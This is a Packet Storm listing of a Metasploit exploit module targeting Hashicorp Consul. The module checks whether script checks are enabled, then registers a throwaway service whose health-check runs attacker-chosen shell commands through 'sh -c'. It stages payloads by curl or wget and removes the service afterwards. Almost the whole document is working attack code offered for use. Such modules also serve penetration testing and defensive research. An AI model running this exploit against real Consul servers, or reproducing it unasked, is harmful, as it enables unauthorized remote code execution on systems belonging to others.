Hashicorp Consul Services API Remote Command Execution

2018-12-28T00:00:00
ID PACKETSTORM:150940
Type packetstorm
Reporter Quentin Kaiser
Modified 2018-12-28T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Hashicorp Consul Remote Command Execution via Services API",  
'Description' => %q{  
This module exploits Hashicorp Consul's services API to gain remote command  
execution on Consul nodes.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC  
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC  
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],  
[ 'URL', 'https://github.com/torque59/Garfield' ]  
],  
'Platform' => 'linux',  
'Targets' => [ [ 'Linux', {} ] ],  
'Payload' => {},  
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 11 2018'))  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path', '/']),  
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),  
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),  
Opt::RPORT(8500)  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.code == 200  
vprint_error 'Unexpected reply'  
return CheckCode::Safe  
end  
  
agent_info = JSON.parse(res.body)  
  
if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true  
return CheckCode::Vulnerable  
end  
  
CheckCode::Safe  
rescue JSON::ParserError  
vprint_error 'Failed to parse JSON output.'  
return CheckCode::Unknown  
end  
  
def execute_command(cmd, opts = {})  
uri = target_uri.path  
service_name = Rex::Text.rand_text_alpha(5..10)  
print_status("Creating service '#{service_name}'")  
  
# NOTE: Timeout defines how much time the check script will run until  
# getting killed. Arbitrarily set to one day for now.  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, 'v1/agent/service/register'),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
},  
'ctype' => 'application/json',  
'data' => {  
:ID => "#{service_name}",  
:Name => "#{service_name}",  
:Address => "127.0.0.1",  
:Port => 80,  
:check => {  
:script => "#{cmd}",  
:Args => ["sh", "-c", "#{cmd}"],  
:interval => "10s",  
:Timeout => "86400s"  
}  
}.to_json  
})  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')  
end  
print_status("Service '#{service_name}' successfully created.")  
print_status("Waiting for service '#{service_name}' script to trigger")  
sleep(12)  
print_status("Removing service '#{service_name}'")  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(  
uri,  
"v1/agent/service/deregister/#{service_name}"  
),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
if res && res.code != 200  
fail_with(Failure::UnexpectedReply,  
'An error occured when contacting the Consul API.'  
)  
end  
end  
  
def exploit  
execute_cmdstager()  
end  
end  
`